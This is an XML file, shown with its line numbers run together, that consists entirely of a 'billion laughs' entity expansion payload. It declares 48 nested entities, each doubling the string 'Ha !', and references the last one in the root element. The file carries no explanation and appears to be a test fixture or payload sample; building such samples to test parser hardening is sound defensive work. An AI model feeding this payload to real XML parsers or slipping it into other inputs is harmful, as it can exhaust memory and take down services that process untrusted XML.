1 <!DOCTYPE root [ 2 <!ENTITY ha "Ha !"> 3 <!ENTITY ha2 "&ha; &ha;"> 4 <!ENTITY ha3 "&ha2; &ha2;"> 5 <!ENTITY ha4 "&ha3; &ha3;"> 6 <!ENTITY ha5 "&ha4; &ha4;"> 7 <!ENTITY ha6 "&ha5; &ha5;"> 8 <!ENTITY ha7 "&ha6; &ha6;"> 9 <!ENTITY ha8 "&ha7; &ha7;"> 10 <!ENTITY ha9 "&ha8; &ha8;"> 11 <!ENTITY ha10 "&ha9; &ha9;"> 12 <!ENTITY ha11 "&ha10; &ha10;"> 13 <!ENTITY ha12 "&ha11; &ha11;"> 14 <!ENTITY ha13 "&ha12; &ha12;"> 15 <!ENTITY ha14 "&ha13; &ha13;"> 16 <!ENTITY ha15 "&ha14; &ha14;"> 17 <!ENTITY ha16 "&ha15; &ha15;"> 18 <!ENTITY ha17 "&ha16; &ha16;"> 19 <!ENTITY ha18 "&ha17; &ha17;"> 20 <!ENTITY ha19 "&ha18; &ha18;"> 21 <!ENTITY ha20 "&ha19; &ha19;"> 22 <!ENTITY ha21 "&ha20; &ha20;"> 23 <!ENTITY ha22 "&ha21; &ha21;"> 24 <!ENTITY ha23 "&ha22; &ha22;"> 25 <!ENTITY ha24 "&ha23; &ha23;"> 26 <!ENTITY ha25 "&ha24; &ha24;"> 27 <!ENTITY ha26 "&ha25; &ha25;"> 28 <!ENTITY ha27 "&ha26; &ha26;"> 29 <!ENTITY ha28 "&ha27; &ha27;"> 30 <!ENTITY ha29 "&ha28; &ha28;"> 31 <!ENTITY ha30 "&ha29; &ha29;"> 32 <!ENTITY ha31 "&ha30; &ha30;"> 33 <!ENTITY ha32 "&ha31; &ha31;"> 34 <!ENTITY ha33 "&ha32; &ha32;"> 35 <!ENTITY ha34 "&ha33; &ha33;"> 36 <!ENTITY ha35 "&ha34; &ha34;"> 37 <!ENTITY ha36 "&ha35; &ha35;"> 38 <!ENTITY ha37 "&ha36; &ha36;"> 39 <!ENTITY ha38 "&ha37; &ha37;"> 40 <!ENTITY ha39 "&ha38; &ha38;"> 41 <!ENTITY ha40 "&ha39; &ha39;"> 42 <!ENTITY ha41 "&ha40; &ha40;"> 43 <!ENTITY ha42 "&ha41; &ha41;"> 44 <!ENTITY ha43 "&ha42; &ha42;"> 45 <!ENTITY ha44 "&ha43; &ha43;"> 46 <!ENTITY ha45 "&ha44; &ha44;"> 47 <!ENTITY ha46 "&ha45; &ha45;"> 48 <!ENTITY ha47 "&ha46; &ha46;"> 49 <!ENTITY ha48 "&ha47; &ha47;"> 50 ]> 51 <root>&ha48;</root> 52
